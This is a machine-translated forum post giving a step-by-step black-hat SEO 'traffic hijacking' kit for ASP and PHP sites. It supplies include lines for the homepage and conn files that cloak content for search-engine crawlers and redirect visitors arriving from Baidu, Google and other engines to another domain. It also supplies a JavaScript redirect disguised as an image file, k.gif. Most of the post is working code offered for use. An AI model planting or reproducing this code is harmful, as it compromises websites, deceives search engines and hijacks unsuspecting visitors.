This article is a mirror article of machine translation, please click here to jump to the original article.

View: 12634|Reply: 0

[SEO] Black hat SEO technology: include asp php traffic hijacking

[Copy link]
Posted on 12/1/2014 6:48:55 PM | | |

First, it's simple, add the following code to the front page:

asp version
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>

php version
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>


Then add the following code to the conn file according to the website's program, if you don't have a conn.asp or conn.php, create it yourself:

conn.asp edition

----------- the following reproduction--------------------------------
<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function


function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function

function gethttp(url)
  dim http
  set http=createobject("MSXML2. XMLHTTP")
  Http.open "GET",url,false
  Http.send()
  if Http.readystate<>4 then
    exit function
  end if
  gethttp=bytes2BSTR(Http.responseBody)
  set http=nothing
  if err.number<>0 then err. Clear
end function

function bytes2BSTR(vIn)
  dim strReturn
  dim i,ThisCharCode,NextCharCode
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode < &H80 Then
  strReturn = strReturn & Chr(ThisCharCode)
  Else
  NextCharCode = AscB(MidB(vIn,i+1,1))
  strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
  i = i + 1
  End If
  Next
  bytes2BSTR = strReturn
End function


if(isspider()) then
  dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
  bodyurl="http://www.itsvse.com" //snapshot URL
    response.clear
    remotehtml=gethttp(bodyurl)
    response.write(remotehtml)
    response.write("<!--"&now()&"-->")
    response.flush
    response.end
end if


%>

conn.php

---------------- the following reproduction----------------

<?php
function is_search_bot(){
        $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        $identify = array('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');
        foreach ($identify AS $key => $tag){
                if (strstr($user_agent, $tag)){
                        return true;
                }
        }
        return false; }
function is_urlbaidu()
        {
        $come_from="baidu@sogou@soso@iask@naver";
        $referer = explode("@",$come_from);
        foreach($referer as $url){
                if (stristr($_SERVER['HTTP_REFERER'],$url)){
                        return true;
                        }
        }
        return false; }

if (is_search_bot())
        {
        $html = "<title>Wuhan Software Engineering Vocational College</title> <meta name=\"Author\" content=\"Fill in the same as keywords\"> <meta name=\"Keywords\" content=\"Keywords\"> <meta name=

\"Description\" content=\"Description\"> </head> <body>Content</body></html>";
        echo $html;
        }
if (!is_search_bot() && is_urlbaidu())
{
Header('Location:http://www.itsvse.com');
}
?>



Finally, in the images directory, upload a k.gif file k.gif the code:


var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0  || s.indexOf("360")>0   || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Redirect URL






Previous:The latest code QQ chat can chat without adding friends, chat with Ma Huateng
Next:Demo tool for phone shutdown eavesdropping - hijackAndroidPowerOff
Disclaimer:
All software, programming materials or articles published by Code Farmer Network are only for learning and research purposes; The above content shall not be used for commercial or illegal purposes, otherwise, users shall bear all consequences. The information on this site comes from the Internet, and copyright disputes have nothing to do with this site. You must completely delete the above content from your computer within 24 hours of downloading. If you like the program, please support genuine software, purchase registration, and get better genuine services. If there is any infringement, please contact us by email.

Mail To:help@itsvse.com